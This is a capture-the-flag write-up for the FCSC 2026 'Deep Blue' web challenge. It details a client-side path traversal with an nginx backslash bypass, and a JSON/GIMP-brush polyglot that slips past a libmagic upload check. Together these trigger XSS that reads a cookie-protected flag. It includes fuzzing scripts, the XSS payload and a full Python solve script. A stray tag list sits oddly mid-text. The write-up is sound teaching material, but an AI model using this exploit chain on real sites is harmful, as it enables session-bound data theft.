Deep Blue [EN]| FCSC 2026

- 15 mins read

Deep Blue | FCSC 2026

Challenge

Discover this new marine life blog! Can you steal the author’s secret fish & chips recipe?

Dockerized web app serving an Angular blog about sea creatures. A Puppeteer bot sets an httpOnly FLAG cookie on the app’s domain, then visits a user-supplied URL. Every console.log from the bot’s browser gets forwarded back through the TCP connection.

The goal is to trigger XSS in the bot’s browser, use it to fetch the protected secret recipe endpoint (which needs the bot’s cookie), and exfiltrate the flag.

Architecture

Three services behind Docker Compose:

nginx (port 8000), reverse proxy with two location blocks and a CRLF filter:

map $request_uri $blocked_uri {
    default 0;
    ~%09 1; ~%0d 1; ~%0a 1; ~%0D 1; ~%0A 1;
}

server {
    if ($blocked_uri) { return 400; }

    location / {
        rewrite ^(.*)$ $request_uri break;
        proxy_pass http://deep-blue-apache:80;
    }
    location /api/v1/image {
        proxy_pass http://deep-blue-apache:80/php/image.php;
    }
}

The location / block rewrites the URI to $request_uri (raw, unmodified client URI) before proxying. The location /api/v1/image block does a classic proxy_pass URI replacement.

Apache (PHP 8.2) serves the Angular SPA from /var/www/html with FallbackResource /index.html, and a PHP image upload/read endpoint accessible via Alias /php /var/www/php.

Bot (Puppeteer / Chromium 146) sets FLAG cookie (httpOnly: true, domain deep-blue-nginx), navigates to the user URL, waits 5 seconds. All console.log/console.error messages are relayed back over TCP.

PHP endpoint (image.php)

Two actions:

  • action=upload: accepts a file via multipart POST, validates mime_content_type($tmpPath) starts with image/, generates a UUIDv4 filename, saves to /fcsc/<uuid>.<ext>.
  • action=read: reads a file from /fcsc/ by name, serves it with Content-Disposition: attachment and the detected MIME type. Special case for secret-recipe.txt: requires a FLAG cookie matching the env var, returns JSON {"success":true,"content":"...recipe...","flag":"FCSC{...}"}.

Source code analysis

The XSS sink

In article.ts, the Angular component fetches article data as JSON and renders the content field as unsanitized HTML:

trustHtml(html: string): SafeHtml {
    return this.sanitizer.bypassSecurityTrustHtml(html);
}

constructor() {
    this.route.params.subscribe(params => {
        const id = params['id'];
        this.fetchArticle(id);
    });
}

private fetchArticle(id: string): void {
    this.http.get<ArticleData>(`/api/v3/blue/blog/articles/${id}.json`).subscribe({
        next: (data) => { this.article.set(data); },
        error: (err) => { this.error.set('Failed to load article'); }
    });
}
@for (paragraph of article()!.content.split("\n\n"); track $index) {
    <p [innerHTML]="trustHtml(paragraph)"></p>
}

bypassSecurityTrustHtml completely disables Angular’s built-in DOM sanitizer. Any HTML injected into the content field (<img onerror=...>, <svg onload=...>) executes as-is. That’s our XSS sink, but to reach it I need to control the JSON that Angular fetches.

The fetch URL | CSPT entry point

The route parameter id is interpolated without any validation into the fetch URL:

this.http.get<ArticleData>(`/api/v3/blue/blog/articles/${id}.json`)

Angular routes are defined as { path: 'article/:id', component: Article }. Normally id would be 1, 2, etc., and Angular fetches /api/v3/blue/blog/articles/1.json: a static JSON file on disk.

But if id contains path traversal sequences (../), the browser resolves them when constructing the fetch URL. This is Client-Side Path Traversal (CSPT) where the attacker controls a client-side path that gets concatenated into a fetch() URL, allowing redirection to an arbitrary same-origin endpoint.

The secret recipe gate

if ($filename === 'secret-recipe.txt') {
    if (!isset($_COOKIE['FLAG']) || $_COOKIE['FLAG'] !== getenv('FLAG')) {
        http_response_code(403);
        echo json_encode(['error' => 'Forbidden']);
        exit;
    } else {
        http_response_code(200);
        header('Content-Disposition: attachment; filename="secret-recipe.txt"');
        echo json_encode(['success' => true, 'content' => file_get_contents($filePath), 'flag' => getenv('FLAG')]);
        exit;
    }
}

[“smuggling”, “apache”, “gunicorn”, “ssrf”] The Content-Disposition: attachment header would normally trigger a download. But Angular’s HttpClient uses XMLHttpRequest under the hood so XHR ignores Content-Disposition and processes the response body regardless. The httpOnly flag on the cookie prevents JavaScript from reading it via document.cookie, but same-origin XHR requests include it automatically.

The upload MIME gate

$mimeType = mime_content_type($tmpPath);
if (strpos($mimeType, 'image/') !== 0) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid file type. Only images are allowed.', 'detected' => $mimeType]);
    exit;
}

mime_content_type() delegates to libmagic which is the same library behind the file command. It inspects the actual byte content of the uploaded file, ignoring the Content-Type header from the multipart request. Only files whose detected MIME starts with image/ pass through.

Vulnerability 1 | Client-Side Path Traversal via Angular matrix params

The problem

Angular supports matrix URL parameters, a lesser-known URL notation where parameters are separated by semicolons within a path segment:

/article/1;id=PAYLOAD

When Angular’s router parses this URL, it extracts id = PAYLOAD and the matrix parameter overrides the path segment value. The value is decoded with decodeURIComponent, so percent-encoded characters are resolved.

I can craft id to contain path traversal sequences. The fetch URL becomes:

/api/v3/blue/blog/articles/../../../../v1/image?action=read&filename=FILE#.json

The browser resolves the ../ sequences against the base path, and the #.json fragment is stripped (fragments are never sent to the server). The resulting request:

GET /api/v1/image?action=read&filename=FILE HTTP/1.1

This hits the PHP image endpoint instead of a static article JSON file.

The nginx roadblock

The initial page load (GET /article/1;id=...) goes through nginx before Angular even starts. If the traversal payload uses %2f (encoded /), nginx decodes it internally and normalizes the ../ sequences. When the resolved path escapes above root, nginx returns 400 Bad Request:

# Single ..%2f -> OK (resolves within root)
/article/..%2ftest                -> 200 (nginx resolves to /test)

# Two ..%2f -> FAIL (escapes root)
/article/..%2f..%2ftest           -> 400 Bad Request

I verified this by testing incrementally: one ..%2f passes, two or more trigger the 400.

The %5c bypass

Ok so here’s the key insight: nginx does not treat \ (backslash) as a path separator, so ..%5c is not recognized as a dot-dot-slash sequence. No normalization occurs, the request passes through as-is.

However, Chromium normalizes \ to / in URL paths (per the URL Living Standard). When Angular’s HttpClient later constructs the fetch URL using the decoded id value, the backslashes become forward slashes, and the browser resolves the ../ traversal normally.

The complete flow:

1. Bot navigates to:
   /article/1;id=..%5c..%5c..%5c..%5c..%5capi%5cv1%5cimage%3faction%3dread%26filename%3dFILE%23

2. Angular decodes the matrix param:
   id = "..\..\..\..\..\ api\v1\image?action=read&filename=FILE#"

3. Angular constructs fetch URL:
   /api/v3/blue/blog/articles/..\..\..\..\..\api\v1\image?action=read&filename=FILE#.json

4. Chromium normalizes \ -> / and resolves ../:
   /api/v1/image?action=read&filename=FILE

5. nginx matches location /api/v1/image -> proxies to image.php

I confirmed this locally by navigating Puppeteer to the crafted URL and checking that the Angular XHR request correctly reached the PHP endpoint.

Vulnerability 2 | JSON/GIMP-Brush polyglot

The CSPT lets me redirect Angular’s fetch to the PHP action=read endpoint, which serves a file from /fcsc/. Angular’s HttpClient (with default responseType: 'json') will try to JSON.parse the response body regardless of the Content-Type header. So if I upload a file that:

  1. Passes mime_content_type() as image/* (so the upload is accepted)
  2. Is valid JSON with a content field (so Angular can parse and render it)

…I get XSS through the bypassSecurityTrustHtml sink.

Dead ends

This is harder than it sounds. I tried a bunch of things.

Binary image headers + JSON by prepending GIF89a, PNG, JPEG, or TIFF magic bytes makes mime_content_type return the corresponding image type, but JSON.parse chokes on the binary prefix. JSON requires the very first character to be {, [, or whitespace.

SVG/XML prefix: SVG detection requires <svg at offset 0 (or <?xml followed by <svg). JSON must start with {. Mutually exclusive.

Embedding image magic inside JSON strings white files like {"GIF89a":1} or {"a":"<svg xmlns='...'>"} are detected as application/json regardless. libmagic’s JSON heuristic wins over weak magic patterns when the file is clearly structured JSON.

NULL bytes to suppress text detection by inserting \x00 bytes inside a JSON string makes libmagic classify the file as binary (suppressing JSON detection), and the GIMP pattern matches. But V8’s JSON.parse rejects raw control characters: "Bad control character in string literal in JSON at position 6".

UTF-8 multibyte characters, using \xC3\xA9 or rare 3-byte sequences in JSON string values… libmagic still classifies the file as application/json. It recognizes UTF-8 text.

Enumerating every image/* rule in libmagic

The idea behind a polyglot is to place the image magic bytes somewhere that doesn’t break the JSON. If a format’s magic is checked at offset 0, the first byte of the file is locked to a binary value and JSON is dead. But if the magic check happens at a non-zero offset, the bytes before it could be valid JSON syntax.

I started by dumping every image/* detection rule from the container’s libmagic:

docker exec deep-blue-deep-blue-apache-1 file --list 2>/dev/null | grep 'image/'

That gives ~80 rules, each with a strength and a line number. But I need the actual byte offset of the primary check, not just the strength. The file --list output doesn’t show that directly, so I also parsed the shared-mime-info magic database at /usr/share/mime/magic inside the container:

<?php
// list_offset_image_magic.php 
// Parses /usr/share/mime/magic for image/* rules with primary offset > 1

$raw   = file_get_contents('/usr/share/mime/magic');
$blocks = preg_split('/(?=\[)/', $raw);

foreach ($blocks as $block) {
    if (!preg_match('#^\\[\\d+:image/([^\\]]+)\\]#', $block, $m)) continue;
    $mime = 'image/' . $m[1];

    // Each indented line is a match rule: >[offset:length]value
    // Primary rules start at indent level 0 (no leading >)
    foreach (explode("\n", $block) as $line) {
        if (!preg_match('/^>(\\d+)=/', $line, $om)) continue;
        $offset = (int)$om[1];
        if ($offset > 1) {
            // Extract the ASCII-safe portion of the expected value
            $valHex = bin2hex(substr($line, strpos($line, '=') + 1, 16));
            echo "$mime  offset=$offset  hex=$valHex\n";
        }
    }
}

Results (filtered to offset > 1):

MIME Offset Expected bytes (hex) ASCII
image/avif 4 66747970617669 ftypavi
image/heif 4 667479706d696631 ftypmif1
image/x-gimp-gbr 20 47494d50 GIMP
image/x-gimp-pat 20 47504154 GPAT
image/x-ilbm 8 494c424d ILBM
image/x-kodak-kdc 242 various (binary)
image/x-pict 522 001101ff (binary)
image/x-quicktime 4 6d646174 mdat

Formats with offset <= 1 (like GIF at 0, PNG at 0, JPEG at 0, BMP at 0, SVG at 0, TIFF at 0) are immediately out: the first byte must be their magic, which conflicts with {.

Testing every candidate with real JSON

Next step: for each remaining format, I placed the expected magic bytes at their required offset inside valid JSON structures and tested mime_content_type():

<?php
// fuzz_offset_polyglot.php

$rules = [
    ['image/avif',         4,  "ftypavif"],
    ['image/avif',         4,  "ftypavis"],
    ['image/heif',         4,  "ftypmif1"],
    ['image/x-gimp-gbr',  20, "GIMP"],
    ['image/x-gimp-pat',  20, "GPAT"],
    ['image/x-ilbm',      8,  "ILBM"],
    ['image/x-quicktime',  4, "mdat"],
];

// JSON shapes to test for each rule
function make_shapes(int $offset, string $magic): array {
    $shapes = [];

    // Shape 1: top-level JSON string -> "...MAGIC..."
    // The opening " is at byte 0, so magic lands at offset inside the string
    $pad = $offset - 1;
    if ($pad >= 0) {
        $shapes['json_string'] = '"' . str_repeat('A', $pad) . $magic . '"';
    }

    // Shape 2: JSON object value -> {"a":"...MAGIC..."}
    // prefix {"a":" is 6 bytes, so pad = offset - 6
    $pad = $offset - 6;
    if ($pad >= 0) {
        $shapes['obj_value'] = '{"a":"' . str_repeat('A', $pad) . $magic . '","content":"xss"}';
    }

    // Shape 3: JSON object key -> {"...MAGIC...":"v","content":"xss"}
    // prefix {" is 2 bytes, so pad = offset - 2
    $pad = $offset - 2;
    if ($pad >= 0) {
        $key = str_repeat('A', $pad) . $magic;
        $shapes['obj_key'] = '{"' . $key . '":"v","content":"xss"}';
    }

    // Shape 4: with leading whitespace before {
    // spaces push { forward, so magic offset in the value shifts
    for ($ws = 1; $ws <= 4; $ws++) {
        $pad = $offset - 6 - $ws;
        if ($pad >= 0) {
            $shapes["obj_ws$ws"] = str_repeat(' ', $ws) .
                '{"a":"' . str_repeat('A', $pad) . $magic . '","content":"xss"}';
        }
    }

    return $shapes;
}

$hits = 0;
$total = 0;
foreach ($rules as [$targetMime, $offset, $magic]) {
    foreach (make_shapes($offset, $magic) as $shape => $content) {
        $total++;
        $f = tempnam('/tmp', 'poly');
        file_put_contents($f, $content);
        $detected = mime_content_type($f);
        unlink($f);

        $isTarget  = ($detected === $targetMime);
        $isImage   = (strpos($detected, 'image/') === 0);
        $validJson = (json_decode($content) !== null);

        if ($isImage) {
            $hits++;
            $flag = $validJson ? 'JSON+IMG' : 'IMG_ONLY';
            echo "[$flag] $shape  detected=$detected  target=$targetMime\n";
            if ($validJson) echo "  >>> CONTENT: " . substr($content, 0, 60) . "...\n";
        }
    }
}
echo "Image/* hits: $hits\n";

Output (trimmed):

[IMG_ONLY] json_string   detected=image/avif          target=image/avif
[IMG_ONLY] json_string   detected=image/avif          target=image/avif
[IMG_ONLY] json_string   detected=image/heif          target=image/heif
[IMG_ONLY] obj_value     detected=image/x-gimp-gbr    target=image/x-gimp-gbr
[IMG_ONLY] obj_key       detected=image/x-gimp-gbr    target=image/x-gimp-gbr
[IMG_ONLY] obj_value     detected=image/x-gimp-pat    target=image/x-gimp-pat
...
Image/* hits: 22

Several formats match the image/* detection. But every hit flagged IMG_ONLY (no JSON+IMG). The problem: when the file is a complete, well-formed JSON object, libmagic’s JSON heuristic detects application/json and overrides the weaker GIMP/AVIF rule. The image detection only wins when the JSON is broken (top-level string, missing closing brace, etc.).

The GIMP brush format (image/x-gimp-gbr, magic GIMP at offset 20) stood out as the most promising candidate: offset 20 gives enough room for the JSON prefix {"a":" (6 bytes) plus 14 bytes of padding, and the magic is a simple 4-byte ASCII string easy to place inside a JSON value.

The remaining question: how to make the file both a complete valid JSON object and not detected as JSON by libmagic.

Aligning the magic

A JSON object {"a":"...GIMP..."} can place GIMP at any offset inside the string value. With json.dumps(separators=(",",":")), the prefix {"a":" is exactly 6 bytes. Adding 14 characters of padding puts GIMP at offset 20:

offset 0-5  : {"a":"           (6 bytes)
offset 6-19 : AAAAAAAAAAAAAA   (14 bytes padding)
offset 20-23: GIMP             (magic string)
offset 24+  : ...rest of JSON string value...

I tested this immediately:

$content = '{"a":"' . str_repeat("A", 14) . 'GIMP' . '","content":"xss"}';
// GIMP at offset 20
mime_content_type($f) -> "application/json"  // JSON detection wins

JSON detection still won. libmagic has a text-analysis pass that recognizes valid JSON structure, and it takes priority over the weaker GIMP binary magic rule.

The libmagic 1 MB read limit

After a while I noticed something interesting about what makes libmagic detect JSON vs. not. Through systematic testing:

// Incomplete JSON -> GIMP wins
'{"a":1              GIMP...'     -> image/x-gimp-gbr

// Complete JSON -> JSON detection wins
'{"a":1}             GIMP...'     -> application/json

libmagic’s JSON heuristic checks whether the file contains a complete JSON value (matching {...} or [...]). If it only sees an incomplete structure, it falls back to binary magic rules.

What if the JSON object is so large that libmagic never reaches the closing }?

I tested with increasingly large string values inside the JSON:

for pad in [100, 1000, 10000, 100000, 500000, 1000000, 1048576]:
    obj = '{"a":"' + 'A'*14 + 'GIMP' + 'B'*pad + '","content":"xss"}'
    # test mime_content_type...
Padding File size Detection
100 167 B application/json
10,000 10 KB application/json
100,000 100 KB application/json
500,000 500 KB application/json
1,000,000 1.0 MB application/json
1,048,510 1,048,577 B image/x-gimp-gbr

At exactly 1,048,577 bytes (1 MB + 1 byte), libmagic stops detecting JSON. The library has a built-in read limit of approximately 1 MB. Beyond that, it never sees the closing } and falls through to binary magic matching, where GIMP at offset 20 matches the GIMP brush rule.

I confirmed the exact threshold via binary search: 1,048,510 bytes of filler inside the JSON string.

The final polyglot

import json

obj = {
    "a":       "A" * 14 + "GIMP" + "B" * 1_048_520,
    "content": '<img src=x onerror="...XSS...">',
    "id":      1,
    "title":   "x",
    "author":  "x",
    "date":    "01/01/2025",
    "image":   None,
}
data = json.dumps(obj, separators=(",", ":"), ensure_ascii=True).encode()

assert data[20:24] == b"GIMP"
assert json.loads(data)["content"]
>>> len(data)
1048779
>>> data[20:24]
b'GIMP'

The file is simultaneously a valid GIMP brush file (as far as libmagic is concerned) which passes the upload image/* gate, and a valid JSON object with a content field that Angular parses and renders as XSS.

Full exploit chain

Step 1 | Generate and upload the polyglot

The XSS payload fetches the secret recipe endpoint (same-origin, so the bot’s httpOnly cookie gets included automatically), parses the JSON response, and logs the flag to console. The bot relays console output back to us over TCP.

xss = (
    '<img src=x onerror="'
    "fetch('/api/v1/image?action=read&filename=secret-recipe.txt')"
    ".then(r=>r.json())"
    ".then(d=>console.log(d.flag))"
    '">'
)

Upload it:

curl -s -F "[email protected]" "https://deep-blue.fcsc.fr/api/v1/image?action=upload"
{"success":true,"filename":"a1b2c3d4-...-e5f6.bin","mime":"image/x-gimp-gbr"}

The extension is .bin because image/x-gimp-gbr is not in the PHP extension mapping (which only knows jpeg, png, gif, webp, svg, bmp, ico), so it defaults to bin.

Step 2 | Craft the CSPT URL

fname = "a1b2c3d4-...-e5f6.bin"
trav = "..%5c" * 5
target = f"api%5cv1%5cimage%3faction%3dread%26filename%3d{fname}%23"
url = f"http://deep-blue-nginx/article/1;id={trav}{target}"

Step 3 | Send to the bot

The bot navigates to the URL. nginx sees %5c (backslash), does not normalize, serves index.html. Angular boots, extracts the id matrix parameter, decodes it, and fetches:

GET /api/v1/image?action=read&filename=a1b2c3d4-...-e5f6.bin

The PHP endpoint reads the polyglot from /fcsc/, serves it with Content-Type: image/x-gimp-gbr and Content-Disposition: attachment. Angular’s XHR ignores both headers and feeds the body to JSON.parse which succeeds, returning a valid ArticleData object.

Angular renders the content field via bypassSecurityTrustHtml. The injected <img> tag fires its onerror handler, fetches the secret recipe with the bot’s cookie attached, and logs the flag to console.

Solve script

#!/usr/bin/env python3
import json
import socket
import sys
import time
import requests
import urllib.parse

TARGET = "https://deep-blue.fcsc.fr/"
BOT_HOST = "challenges.fcsc.fr"
BOT_PORT = 2253

def build_polyglot(xss_payload: str) -> bytes:
    PAD   = 14
    FILL  = 1_048_520
    obj = {
        "a":       "A" * PAD + "GIMP" + "B" * FILL,
        "content": xss_payload,
        "id":      1,
        "title":   "x",
        "author":  "x",
        "date":    "01/01/2025",
        "image":   None,
    }
    data = json.dumps(obj, separators=(",", ":"), ensure_ascii=True).encode()
    assert data[20:24] == b"GIMP"
    return data


def upload(target: str, polyglot: bytes) -> str:
    r = requests.post(
        f"{target}/api/v1/image?action=upload",
        files={"image": ("p.bin", polyglot, "application/octet-stream")}
    )
    d = r.json()
    assert d.get("success"), f"Upload failed: {d}"
    print(f"[+] Uploaded  -> {d['filename']}  (mime: {d['mime']})")
    return d["filename"]


def build_url(filename: str) -> str:
    traversal = "..%5c" * 5
    target    = (
        f"api%5cv1%5cimage"
        f"%3faction%3dread"
        f"%26filename%3d{filename}"
        f"%23"
    )
    return f"http://deep-blue-nginx/article/1;id={traversal}{target}"


def bot(host: str, port: int, url: str) -> str:
    s = socket.create_connection((host, port), timeout=30)
    buf = b""
    while b"=====" not in buf or buf.count(b"=====") < 2:
        chunk = s.recv(4096)
        if not chunk:
            break
        buf += chunk
    s.sendall(url.encode() + b"\n")
    out = b""
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            out += chunk
    except socket.timeout:
        pass
    s.close()
    return out.decode(errors="replace")

xss = (
    '<img src=x onerror="'
    "fetch('/api/v1/image?action=read&filename=secret-recipe.txt')"
    ".then(r=>r.json())"
    ".then(d=>console.log(d.flag))"
    '">'
)

polyglot = build_polyglot(xss)
filename = upload(TARGET, polyglot)
url = build_url(filename)
print(url)
print(bot(BOT_HOST, BOT_PORT, url))
==========
Tips: There is a small race window (~10ms) when a new tab is opened where console.log won't return output :(
==========

Starting the browser...
[T1]> New tab created!
[T1]> navigating        | about:blank

Setting bot cookie...

Going to the user provided link...
[T1]> navigating        | http://deep-blue-nginx/article/1;id=..%5c..%5c..%5c..%5c..%5capi%5cv1%5cimage%3faction%3dread%26filename%3d645c68fb-0c9a-47c0-9246-ef4e9a3555b3.bin%23
[T1]> navigating        | http://deep-blue-nginx/article/1;id=..%5C..%5C..%5C..%5C..%5Capi%5Cv1%5Cimage%3Faction%3Dread&filename%3D645c68fb-0c9a-47c0-9246-ef4e9a3555b3.bin%23
[T1]> console.log       | FCSC{cf501ba6e28b6a8050f1c58c6ff1ebd7f24fe04ab03a7e84c82eb7819a1842c5}

Leaving o/
[T1]> Tab closed!

Flag

FCSC{cf501ba6e28b6a8050f1c58c6ff1ebd7f24fe04ab03a7e84c82eb7819a1842c5}